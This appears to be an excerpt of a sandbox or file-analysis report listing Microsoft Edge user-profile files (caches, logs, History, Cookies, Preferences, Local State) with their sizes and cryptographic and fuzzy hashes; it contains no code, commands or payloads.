Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe5a3980.TMP
Size 2KB
SHA256 9bb3693d234419972cdd62f584a2c67c6ef94582458b4ebc70021d8ef520da62
MD5 fa15c3100a3a17a3cc1473d3ecc52f3e
SHA1 91e7bbf8a2a23920a4a0fbc7c5feeb7eaab459d7
SHA512 dfb1c672520c7d69c796694b0f61e1f401f68db07c845dde8be58cf54642d7fb6f9f2cd8bc182b7fc5af275ad8604fc62b1c68ab0806941b462d849f19a7ce96
TLSH
T18051EEA5F7250DC1D7E488B168E0544B32F88499370F6E38A1145F785A87F9AEBD50E3
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG
Size 343B
SHA256 7153d7bc2f321b488688f3a8e6bfc4a42a4e2e9645c82ca1b48237c5fee83eb0
MD5 a853eb616ba50b55f60beacc84183266
SHA1 8d066c39898b74682f0248adc7a4fb26534d0b38
SHA512 2c34bd3a2fce593ef755e74ca0a68063284eb4691c08e235dcd2ff158784fcfb076750aa75584ee0c5f7e4ed906cab768e6320c428a5214d7458ffebe8c56887
TLSH
T13AE0DFD6A4CAC12E6620B8D7413C7B0C86813643D7C97D8367088CC4B602206F7B669A
MD5 SHA1 SHA512 TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log
Size 285B
SHA256 fff9c841af450dfefe7f284f645d4a26b048e6bd5709ad766b308172bc260a53
MD5 785c71b68bf89a0e9973e06d76434ab1
SHA1 2eb96ed892a724f5f223fe37abbd075d448d45e3
SHA512 a84d94a4b22d325a41b84c193a2e279bc3969085d87eda3fad0dc1032989bd26e67aba7cefa085838590e5aef8958c40e22a000d158fd80782b614dcdbc55030
MD5 SHA1 SHA512

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG
Size 322B
SHA256 f99c24a67499527c937572a5acabdc8d77cad22bd280123b886cf0155ddf01d5
MD5 426a11cfdb5e191e71d15614d94993b7
SHA1 1567d43c99b19fe51591d06e0031de561729f9aa
SHA512 b03c75780f426e217cb9ef61a1ab06ba52e2cde054890c2cc0ed072273b65f5422035a783c019270f89673ba38c0976413e3e09c0681329b1535ea3b1416afae
TLSH
T1E6E086A444C9C17D91176CE3827C730C86D67447F7C839422B4DCC54B101645BBBEAA8
MD5 SHA1 SHA512 TLSH

Submit Download

History

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\History
Size 224KB
SHA256 f26a1fa9d7c8807fd02746ce6f060a253485990f8cbcfbe49110867632bdbd84
MD5 85f35e317460e1a596106583d637dbe6
SHA1 51112c412811f9bbf5e20aa9b117a10fb76dca96
SHA512 3d4dc8df610d74b79e1c63bc112d47a4530c2867559c25ce73191c921bd2e38cbe52ab150fa5220001b82352d0c893f967d57dbb62aae19f84afbd283def3f30
SSDEEP 96:rsdEtejzH+bF+UIYysX0fxQp97oEHt/DfLjLqL/EUObbEOVpZf24JkMfXSFR+CFq:rCLH+bF+UI3iWGVoWN3qL/CVVV63
TLSH
T1D424FF0E5F352722CDBD913668E744A35C7DF03F8B5326DA6C6114B5CEE2652A02C8BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG
Size 331B
SHA256 b9db7905124dbd1ebdec5836de85e8b11ea1e008ac6e3ac99d5c7aae84da37d3
MD5 e85927d7f00e4b68bbf275b8d98ef7c1
SHA1 d45fef70fbafa072a85e7d0e75c97a852b08e05f
SHA512 d5cea8b04a622872572faeffc231d737f9c277f5cbad2abc73f6292d72dc38af78559b1c39010ddeb4c7c0841d468a9b0e9b9ad7cdcd288bdc6e1885fc44a8b0
TLSH
T1F2E0DFE084CDC16A620424AB827C7708C7A13506EBC83A826B889D98F045504FBAA2D6
MD5 SHA1 SHA512 TLSH

Submit Download

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Size 24KB
SHA256 27aee483949fecc433ef9e8996a921728f43f164c7c8f6734ae3f0ed0b164bc5
MD5 ef87c54d2db632c01e8d768a62646279
SHA1 11382c3f467e5974006a1ebd70d64bf0f578f721
SHA512 7dbefcb76fe18f6bba2a74131719c53c8e307fd729e10690f7ce1e950ea5278d323900670000d2f32f5967c3f96ee6e8085386f85bf9ecf823d81c99c935732f
SSDEEP 48:Txk/LopFMaty423w/a9NUuTjAw7ohwkbiX7m:qDeMatha9RAtPb+m
TLSH
T136B2204D4F346261D1F05B7AEED185662F7C110DC3633A49AE1460F3CDA29ABF9060AA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 2b59f19ed484e3f8e213bae719415b6fbcb29b055cff44f9d319f59d87597aa8
MD5 608dc13fa9826251d9f7b4c8157f85e0
SHA1 9b548302bd1ed107e1cafebc9210d6f665f5343e
SHA512 4e9e8b5aa00beeef8af5428d08eba5cfb4ed654e2bbe926d6265c99f71e115b497cedd471594b9b8b7a919364360ab38c1339cea0f6c165cb108cc21819415b0
TLSH
T1C641C0F7C3E8853E890155F4AB186F2BCE2D0955832C7D5AC9E4AF1BA3E2471E14099F
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 08a5930354105b9bb9af2aa308b93f52c078f4504978ff4ef139cce17ea505f8
MD5 32a0790bf8a9091dd6a1d56e8da92532
SHA1 1f93a566cb99096c0b23acb266ec731c8c69688f
SHA512 80b5eb2e5e5223b9b1295a4b483038b6927d8765d7c81a0af145cf51a15e9bfb8fb859e32d58062e457622dec18441ddb61133051869cc23955949c72ae721c5
TLSH
T1F451D2F7C3E8863E8A0151F0AB186F2BCE1D0915832C3D5AC9E4AF1B93E2471E14199F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

TransportSecurity

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\TransportSecurity
Size 188B
SHA256 674b96e8135e7bcdee07afabaa92c2148002a1c4b0931d56a441e2fc6e7c776f
MD5 e1108dc284961947f1e4762023b41ebd
SHA1 18c35c322b44de7a2724b366f59cb2767bff0454
SHA512 d038b20ec31f30b59d1dad6bddac74811a70a2472bb1ee7cd0a13e253f62a99747dc28111a42ff6626f4e9dbced733dff846de881d9c4e2f72b61c80cb8505a5
TLSH
T1C2C0221280FCE8760035967909C8BFC87637C430041198E0ED99C33CA0908FB6A1202E
MD5 SHA1 SHA512 TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 7aeaea03bfd7057d5345e82fd191c8bc9ce5f7165905b6ae5c23dbf45ec353d3
MD5 d40cb695eda67a451bad7dd65de10e93
SHA1 323cc64fcb89612467e2a18c425b3623bacdf5ca
SHA512 b9299ef10525838808f76cbd88ad80ecf107f93930431c7a26f554dd61060e49d87e21ef899cb7ad996ff38dd62504aeb0b23e6c94f33271640c5e16fbfb2ee6
SSDEEP 192:sxRpRjb9/f2smWpVm8HFSa2zoA8p4W/g6+WNIY7VZ68ggIgV4J:sxRpV9/f2smWvm8lSarL/5I26aa
TLSH
T10142B716A928983B9CC7D61DFB667F53D6FD1032A1942E48A7FC9A0C00EB7DD520780B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 cb384df8bd4675a5b4d06c2dc259a8f1698e5bc82949a6af426e348a38aa7b6a
MD5 bd616dd26b41c774749b827c1f448dbc
SHA1 721148160d3cc6d8d7cd7307ea1ac31ff014df9f
SHA512 b5b745d0fba7a4938515c66b8d95a68c109306bf25a0398f35515af12e5b48617e64ca391325a241111532edfadcef2e967374dc6ff75ba55cc1783cee7be85b
SSDEEP 192:sxRpRjb9/f2s0WpVD8HFSa2zoA8p4W/g6+WNIY7VZ6KGgIgV4J:sxRpV9/f2s0WvD8lSarL/5I26ua
TLSH
T17842A716A928993B9CC7D61DFB56BF53D6FD1032A1942E48A7FC9A0C00EB7DD520780B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 243cb28b5e2245010b7c73d727a10c0a2f4446a92472c832a1ee57515f99e39f
MD5 c2b8c07af6c866fe2f013b9edc12a7cd
SHA1 a183a54135255d7338e0e6a48508979c5d49cbbd
SHA512 f387b7115d5d661b1b323538d41be2be26d0fcbfd2382e4be287c2055d45e47945b24e64487c091256072a709fa475cad6f82d1d99e8e414bd3749519acb5b9d
SSDEEP 192:sxRmRjb9/f2s6WpVD8HFSa2zoA8p4W/g6+WNIY7VZ6KGgIgV4J:sxRmV9/f2s6WvD8lSarL/5I26ua
TLSH
T19442A716A928993B9CC7D61DFB567F53D6FD1032A1942E48A7FC9A0C00EB7DD620740B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 db9bdd5650a4509436fa0eee3d9a414a7d78058f524336e4871937dda1f34fea
MD5 3e8b1cc4f62fcc7a5c5d030ae864a9cc
SHA1 88512e2e8013d321e85bca12e693c9231e1eb66b
SHA512 adba33b73e2d39b180bb8765b22683a91e87ac52dd63843d214422567fb50b21fe00b4a5e3d3009ba108294862948e1c7c5e9833300e946f2e48e5e2dbbe4d53
SSDEEP 192:sxRmRjb9/f2s6WpVD3FZu77zoA8p4W/g6+WNIY7RZ6KGgIgv4J:sxRmV9/f2s6WvD3rbL/5Is6uk
TLSH
T19342B716A929993BACCBD61DFB56BF53D6FD1032A1942E48A7FC960C00EB7DD120740B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 27KB
SHA256 d252e28e6ab3923d8ea57ed9af935119448bb4e7c410e53456f4aa7337d93bb7
MD5 a9b95f8a6f7d44347776aaca18a0acc6
SHA1 6d27e02f9a40e2d59595a4ccb5a8ba01136fd0a7
SHA512 0123efd233a0917bb57d676212ff0e5cac0ac56112cfdc687eab3e7f6041f12c59f6d4f7af2454bc5aa303d134609b3db9b1826f27008cbfe6c59d88d45814b7
SSDEEP 768:Fb1pRD7pLuL7otWgikfq48F1+UoAYDCx9Tuqh0VfUC9xbog/OVIJ8IoroSUdM:Fb1pR1E7otWgikfq4u1ja3yITdW
TLSH
T1D2C2D93B740CCA7E5F804ADDEC19BE9B6DA802CB9698CD8047FE951C02C6BFE51154DA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG
Size 335B
SHA256 f8e53c95a4743d818448633d80da0c1e1075e105d7fc61eb21e49fdbff121df1
MD5 2f363ab9bc50a68ba03b0bc7ef895b75
SHA1 065e59045032fbe22514b8ab48edbc950b09c3b7
SHA512 1137ef80462b4936d313c11526c2c07d1511499a88acc2c41ace92822e71ef810961f7fd06bc31e85a8b8c19dd8108e28cd32508a53932fd34185d3fa27ad634
TLSH
T142E086E045C9C17D60157153026CB708DBE57817D7C87D463F88CEA0F642944B6EB196
MD5 SHA1 SHA512 TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG
Size 350B
SHA256 6a51052e2ab293934d111b0e4d49559287c685a381c74c05383c87e248a3686d
MD5 90f88e8fd9e1b9453ad9fe605d63401a
SHA1 79984133df2378aad6f74a0b70262c1f2b3bb626
SHA512 1e98df8284ca2ec9cc5cfb8c4d1a202e1d9e823cb70aea15af776b2d370749aa26d74166fffce406b3bd989aaaf397df978f61b75e0a680800c53a9ec0ad5fd8
TLSH
T1F6E0DFA056C9C27A614620AF42ACF70882A37502E7C83A923B0C9A84B206540B3AB298
MD5 SHA1 SHA512 TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\000003.log
Size 175B
SHA256 80d1388b9a7150eb0291175fe693dd7b6bce910c3e4fff51e94841d31d771dbe
MD5 cb63c64828a27af7253afb7c7d986654
SHA1 8a54aeb86f79cc69e6f11278d874cebd328ae466
SHA512 e0dbdd6931c9272e0b52bb2ef7895121f6324379f584899343342a057737a9837cc476842ea781a1de5c17a20c06e0a7d24c0ed6ea41fdd95bb99296e8810f9a
TLSH
T135C09BD55F903023FDCA5D3D0DAB53041720C4752F74CF57D28430901C0A285FF61145
MD5 SHA1 SHA512 TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG
Size 323B
SHA256 88cc6f37a89a652aa20f25ca140bd4392d8899901a221fece462a5955e2d13bc
MD5 2c6697f24c64ce8d4c4fa0242d1b4017
SHA1 6ba3e939cba601173003e15950fe35d9aa98a9e0
SHA512 429f68f543acf03f50aff8655130b5e1eb22308ac0360bd0767d4a6020fb6b87137e2c13cf90bd52b13f44980e27cff850d1b2bb0f7e83bd235673c8cf6c1f29
TLSH
T1C8E086B095D9D279900560D3436CBB0CC6F2B81BABC83A867F0C4890F141188B7FF597
MD5 SHA1 SHA512 TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 4KB
SHA256 73375ef04ea5f90939ce33cacd7d08c76f1795c30d6b5bbddd182e32d2e037f2
MD5 5a1af644fcbdd498fded9be03d00a504
SHA1 e393891b268f8771b02840073629ef72761457eb
SHA512 63d8abea949d11a61776584ecc6edaa637318909a4a4e6569a519ac3b5a90e4b6940f88746d54c806c5cc6fab982f294daf84438d8d8127c2e040a75127385e9
SSDEEP 96:KR2r6WwYY+Wo9lg2+K4Lgk+ce2VUGfHfItpfd9xWJmsgRxK3gJauY+az5K7C/2zj:C2r6WwYYZo9m22Lgkte2VUGfHfItpfdj
TLSH
T1D091A864707A12C03CBE791881BD985B82C3746B7224B42B3FE905625F67E026DFDACD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 4KB
SHA256 cb5adef87b5e60f71cf03650f9fb9459de6d84b26472a0c64466a13c9c4a6194
MD5 1a5de228cea671ff58b8c53ab48d1c7c
SHA1 a8f7560f8046d6b1b6fb68bbb6a1dfac0cd93204
SHA512 248209beccfc4ddace110a760de207ad547143a0b9d9ee2667d66e72e933cfad79b3504205d8ddb11e3e508dbdac00996c23032b52c7b41f5f6db877dfc3c7a7
SSDEEP 96:KR2r6WwYY+Wo9lg2+K4Lgk+ce2VUGfHfItpfd9xWJmsgRxK3gJauY+az5K7C/2zO:C2r6WwYYZo9m22Lgkte2VUGfHfItpfdO
TLSH
T171A1AB64707A12C13CBE791881BD985B82C3746B7224B46B3FE904625F67E026DFDACD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Web Data

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Web Data
Size 256KB
SHA256 1335e8bcf6c5c25d5a5dd341835e6320746eb2276c4f5096f871a88ba04df897
MD5 73248f66315a55341e75bfaaf3ecc481
SHA1 eab56e065a241b59f4ca255b8112508e6b4aff24
SHA512 13c96710e7ca89cbd1191c227bc6ff15dc6489d5bc3aa6d0cdc43f72e548f5354616643fd602f57b1dc42ca42934df2bac49eeab60134925eef9e8b78436b171
SSDEEP 384:DNrRZyCSDnxTIC4SMEhIKyll7svbFKfk7:xFZJSDnidyI1l7svbF9
TLSH
T1E944740A7B747001EDE6D9725CB080771E3CB16E8F22A6916DA254694DF3853A23D8FF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

be4cf280-c680-46e2-9dd2-1c4ce0afe5d0.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\be4cf280-c680-46e2-9dd2-1c4ce0afe5d0.tmp
Size 1B
SHA256 cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8
MD5 5058f1af8388633f609cadb75a75dc9d
SHA1 3a52ce780950d4d969792a2559cd519d7ee8c727
SHA512 0b61241d7c17bcbb1baee7094d14b7c451efecc7ffcbd92598a0f13d313cc9ebc2a07e61f007baf58fbf94ff9a8695bdd5cae7ce03bbf1e94e93613a00f25f21
MD5 SHA1 SHA512

Submit Download

favorites_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\favorites_diagnostic.log
Size 399B
SHA256 86dfbf346b71c6035602c4b5ebbaa6a439442ad216f474e457e8d4a0af8ae2d5
MD5 75b8e5e4bb9376b1c837aaed56330182
SHA1 940ee08056972e3d391301adc919387f57267f18
SHA512 c6d4203ec75e616ff20d383010246144e75a23c7b6dc12c7344b163d96035862b4c2cb7f66ef32040922513bbb21f82a917602f5bb0229b3ae51e03b0b078614
TLSH
T1C4E0E5A0527930C56AFC9A40C21C3903A0C97E5E571974B1334A4994570480A7EBEB3A
MD5 SHA1 SHA512 TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log
Size 12KB
SHA256 6f48599678d9dcd14ff9bbb3a91a3aef4b154ff0b704cc5d5da4b23669b283c5
MD5 78eb1a79fd6be9283073c6a3b7d345f9
SHA1 31e15a9ee9c5a59116a900ccbb2f373341116a5c
SHA512 8ff28ce7c05ca78c6b22ae914874740d0bf63eb1c9314886a9b4bc33ce8c2aa214370695f2e5040ca93f29f60ba0862f003b21aad3ad9db73701ba18714af050
SSDEEP 192:pUQ3III2bGMIMAhYcY4nOXyAsZl9qFQ2szcz:CQ3III2bGMIMyBEXrs7/2sz
TLSH
T10D42625E1A891B37C45F5B3613A38654DBE848834172213D32662C0F9EF3E9786C66F1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG
Size 322B
SHA256 543f0d611ba8efee7c95ca8a7cc0442923452a747e1c7f337cb5dacaf697d85f
MD5 4ae5f07cfeb0f37a04592214cfa214b6
SHA1 08ad7e88d2ab097326debffed10dbeae36f45998
SHA512 e6efd98597c8d93aa3cdc3b5d969d12bcd07432f8690d3abcb2490c9ff73c0cecadc375e98fb82b5d19ba7da6f91282d42e6481b50cb8feaaaebadcfab7f480e
TLSH
T1DCE086A1E9D9C1BEA02724D7017C774C96967907EBC839862F08CC58F101144BBBEDA9
MD5 SHA1 SHA512 TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log
Size 1KB
SHA256 502d0ca26373418ff7d52f6d5f2523c92283abebd815bf7784f086ae95be8672
MD5 630fb3cb8281026d877066ace2ac1ba1
SHA1 1fbd6a342784d413241abb735600514d70ed8425
SHA512 be62e080ce82328fa54053843c4be2494f3934cdcf0746d5b5843c002c3670d3a13e0299bf035d9137260df08603465564e80095b44ce6704d5928dae74b8a9e
TLSH
T14421C455F330D119E14A867E647EAB291778E846CFBCEC0F587920646E72B040E4B6E5
MD5 SHA1 SHA512 TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG
Size 340B
SHA256 a5a94b44bdcad089b5194d889c60b0a8a57fdb04a639f15204b2f79b35bb8196
MD5 59f77e11b9b939fba68c0b37c254cac7
SHA1 c131e17f37991894f143b5a3115ad280005d89c6
SHA512 f3631b5cb41ac0f86312e4a914d3a422dab6a747975342b29689940c4a2fc17ac5aadbddd28abf004c1326a82b848883b776ea9da3f5709e9218a8e171992286
TLSH
T1CAE04FB0A8C9C1AF905724A3017CB34CD696784AEBC83F462F48CD58B501146BBAE9A9
MD5 SHA1 SHA512 TLSH

Submit Download

43c7aae0-13eb-42c5-ba68-831639e0a972.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\43c7aae0-13eb-42c5-ba68-831639e0a972.tmp
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\data_1
Size 264KB
SHA256 b74d5b779c96a9148cedeed8092d1403ab7b5a634354f7a19c9359592970399c
MD5 f2f524509c59153e49f0b56618edddd4
SHA1 d849151dd800202454c82c765cc4b1a6b9e6fe00
SHA512 8e15503caaf4018bf3a8228cadd9c02902273d8731df5022e4802fa3717d7044cfd6f77e2752125f097b3d9f443cb4c468ffd4332596e267ff9ad8f90be7859e
SSDEEP 3:MsEllllkEthXllkl2zEflR:/M/xT02z
TLSH
T1DD440404FFD1040DD50011704057C3541771F4500531574334D504337CD7D510C04004
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache\data_1
Size 264KB
SHA256 9a2c36d0c6fb0318058fe19988008c309cc8f8e119ad09a0a95f8e781c38b824
MD5 05bbc8799e237422c33dfc21dec2632d
SHA1 f1ad69733bcaa0adf30d6c9f1c971e9cba272273
SHA512 becf4ba1da24ecff8156c4adc22b32a450c73c78da423920b891b8343b1d30d0fa49a7c55cf205759f474d8dfc6907e1e5e3bf8d586b1dd49e7dd7d6ea58afdf
SSDEEP 3:MsEllllkEthXllkl2zEflEPd:/M/xT02zJ
TLSH
T10D440404FFC1040DCF0011344057C3545370D4500531574334D504337DD7D400C0C004
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Last Browser

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Last Browser
Size 120B
SHA256 9c70f766d3b84fc2bb298efa37cc9191f28bec336329cc11468cfadbc3b137f4
MD5 a397e5983d4a1619e36143b4d804b870
SHA1 aa135a8cc2469cfd1ef2d7955f027d95be5dfbd4
SHA512 4159ea654152d2810c95648694dd71957c84ea825fcca87b36f7e3282a72b30ef741805c610c5fa847ca186e34bde9c289aaa7b6931c5b257f1d11255cd2a816
TLSH
T1E0B012203BF9062CF3F74D00AA73AA3428BFF4080A14811D505102080C33E19C478FA3
MD5 SHA1 SHA512 TLSH

Submit Download

Last Version

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Last Version
Size 14B
SHA256 ee1367d356a136a11664001cd90e05ba08dbaa85f496584158f5e42be8e836fd
MD5 8297da058a737611abcc3a0ede9ffc24
SHA1 e532552672ecffbe3509fb4c334833a67f16d05b
SHA512 fefc70ebe486693310a00beb5ae125abb1569c4455538124d897566f2e44f2b3854ad4451196607137301a811ac7f96f1d488a36eb6d6cd566f2f7cdc7c7568f
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 99e616d68edc324e8c4053146224ff053e3db4c63b2b11e935780e3a84fb16b3
MD5 877b96b2d2e6b8345acf78ce1915a9a1
SHA1 9c6ccbd1fbf415bbc9c33e5dc9eca188cd93eb52
SHA512 a13eaae181c5e683ca08664d7006fb1fb0dce2545bcadf706845c8814f8c177da2706c667734e95515b0074e79cbfff64533a3a4b0e0fe92f018c9a8b4192037
SSDEEP 768:9rv+4UNbdC3okeBqobGEppZu4aWADIidy8LqJeVH1S1C:9bsbw3GpZzaNsuVLuEH1d
TLSH
T1B603BF36E859CA779CF79284B1877A0B7EF89163C6880AD088DD1F4E45DB4AD1307E17
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 37KB
SHA256 cffd7bd165506b365561fbd248c3ed4d394f43b80af7fd7422da7224bf0ae6df
MD5 1498d10edd082afb795dbeb60833309f
SHA1 84db7b7088764eb27fc2af169d7082ba5fdf5b37
SHA512 cfd6fc8daecc59bdc7731f97e7bc0ff418d9c1d74e51b911e730006bcacb0e827ac0609ebcf874fa39ef609a8447f647ad7094a9f3fd6e5220503bb3904ab585
SSDEEP 768:nj+9Z30VfFoBqobGEdtZu4aWADIidy8LNlMMbUjhSWjlc:K9Z3vtZzaNsuVLzMeUNSYc
TLSH
T1B703AF3EEC568D7F88AEB285724A2A16ADF85273C1980D94CBDC1F4D50E75ACD303D15
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 39KB
SHA256 e4809a1c8662500a15e1658e16fe7ab6244dcf152e56b771c1459ebf50f2b025
MD5 98562d9530b7cb9be9514bb1f70c0d81
SHA1 3282ad111b7b1dfd3e08fd7299e0ec4a44d6f330
SHA512 615789885399a644c7594a676cdb7215cdf3b8ee160c8b4d05bac92e59a8bf6c4b24f4ec19b630bef8d933178b214ddef92fdb21c1dd72984a0b0f14fb72dc24
SSDEEP 768:ij+9Z3VVfyoBqobGEDeAtZu4aWADIidy8LuobMbGBMjl5:R9Z3gAtZzaNsuVLZbeGBq5
TLSH
T17B039D3DAC128D7F88AEB345724E2A5A9DB85273C5B40998CBD81B4DD0B35ACF343D19
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 56KB
SHA256 d00617b9a85fbf615a5ff301194f46438c55b22fe270364c0902d430021c2fdd
MD5 ee827528bab4eaf3d8075e82a23da1d9
SHA1 e48ff3ee0a2f40d2128b92b65292f2b67b5e4ef9
SHA512 883fed0960b624c1c820e53ea8cd0c989e3d93cb1733b42bc24397ee2bf79baa372bfa29b1a50a4c341dc72968ba18f21bd6c37909eab4e087f2bd037f37cf54
SSDEEP 1536:X9Z3uMZzaNsuVLO0vPyBORa9aNaMeUNSCc:X/rtu36SadMeoSCc
TLSH
T1BC439D3EDC55CD7BACB6A781B34A3A1B9EF49263C59849D4CAC82F8C10E719D8303D55
